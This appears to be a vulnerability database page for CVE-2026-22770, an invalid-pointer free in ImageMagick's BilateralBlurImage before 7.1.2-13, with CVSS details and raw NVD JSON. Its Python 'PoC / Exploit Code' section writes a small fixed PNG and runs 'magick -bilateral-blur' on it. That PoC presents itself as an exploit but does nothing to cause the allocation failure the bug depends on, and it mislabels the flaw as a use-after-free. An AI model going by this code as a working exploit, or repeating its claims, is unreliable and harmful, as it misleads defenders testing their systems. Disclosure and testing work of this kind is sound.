Security Vulnerability Report
中文
CVE-2026-22770 CVSS 6.5 MEDIUM

CVE-2026-22770

Published: 2026-01-20 01:15:57
Last Modified: 2026-01-29 14:56:05

Description

ImageMagick is free and open-source software used for editing and manipulating digital images. The BilateralBlurImage method will allocate a set of double buffers inside AcquireBilateralTLS. But, in versions prior to 7.1.2-13, the last element in the set is not properly initialized. This will result in a release of an invalid pointer inside DestroyBilateralTLS when the memory allocation fails. Version 7.1.2-13 contains a patch for the issue.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:* - VULNERABLE
ImageMagick < 7.1.2-13

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import subprocess import os import struct def create_trigger_image(): """ Create a crafted image to trigger BilateralBlurImage memory corruption in ImageMagick versions prior to 7.1.2-13 """ # Create a minimal TIFF/PNG file that will trigger BilateralBlurImage processing # The exact trigger depends on specific memory allocation conditions header = b'\x89PNG\r\n\x1a\n' ihdr = b'\x00\x00\x00\x0dIHDR\x00\x00\x00\x10\x00\x00\x00\x10\x08\x02\x00\x00\x00\x90\x91h6' # Additional crafted data to trigger BilateralBlurImage filter crafted_data = header + ihdr + b'\x00\x00\x00\x0cIDATx\x9cc\xf8\x0f\x00\x00\x01\x01\x00\x05\x18\xd8N' with open('trigger_cve_2026_22770.png', 'wb') as f: f.write(crafted_data) return 'trigger_cve_2026_22770.png' def trigger_vulnerability(image_path): """ Trigger BilateralBlurImage with crafted input to cause memory allocation failure """ # Use ImageMagick's BilateralBlurImage filter # The -bilateral-blur option triggers the vulnerable code path cmd = [ 'magick', image_path, '-bilateral-blur', '5', '10', 'output.png' ] try: result = subprocess.run(cmd, capture_output=True, timeout=10) return result.returncode, result.stderr.decode('utf-8', errors='ignore') except Exception as e: return -1, str(e) if __name__ == '__main__': print('CVE-2026-22770 PoC - ImageMagick BilateralBlurImage Use-After-Free') image = create_trigger_image() print(f'Created trigger file: {image}') returncode, stderr = trigger_vulnerability(image) print(f'Return code: {returncode}') print(f'Stderr: {stderr}') print('Note: This PoC demonstrates the trigger mechanism.') print('Actual exploitation requires specific memory allocation conditions.') print('Upgrade to ImageMagick >= 7.1.2-13 to remediate.') os.remove(image)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22770", "sourceIdentifier": "[email protected]", "published": "2026-01-20T01:15:57.153", "lastModified": "2026-01-29T14:56:04.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. The BilateralBlurImage method will allocate a set of double buffers inside AcquireBilateralTLS. But, in versions prior to 7.1.2-13, the last element in the set is not properly initialized. This will result in a release of an invalid pointer inside DestroyBilateralTLS when the memory allocation fails. Version 7.1.2-13 contains a patch for the issue."}, {"lang": "es", "value": "ImageMagick es un software libre y de código abierto utilizado para editar y manipular imágenes digitales. El método BilateralBlurImage asignará un conjunto de búferes dobles dentro de AcquireBilateralTLS. Pero, en versiones anteriores a la 7.1.2-13, el último elemento del conjunto no se inicializa correctamente. Esto resultará en la liberación de un puntero inválido dentro de DestroyBilateralTLS cuando la asignación de memoria falle. La versión 7.1.2-13 contiene un parche para el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-763"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.2-13", "matchCriteriaId": "A4F0ED35-C455-412F-860C-5B3A9371E882"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/commit/3e0330721020e0c5bb52e4b77c347527dd71658e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-39h3-g67r-7g3c", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}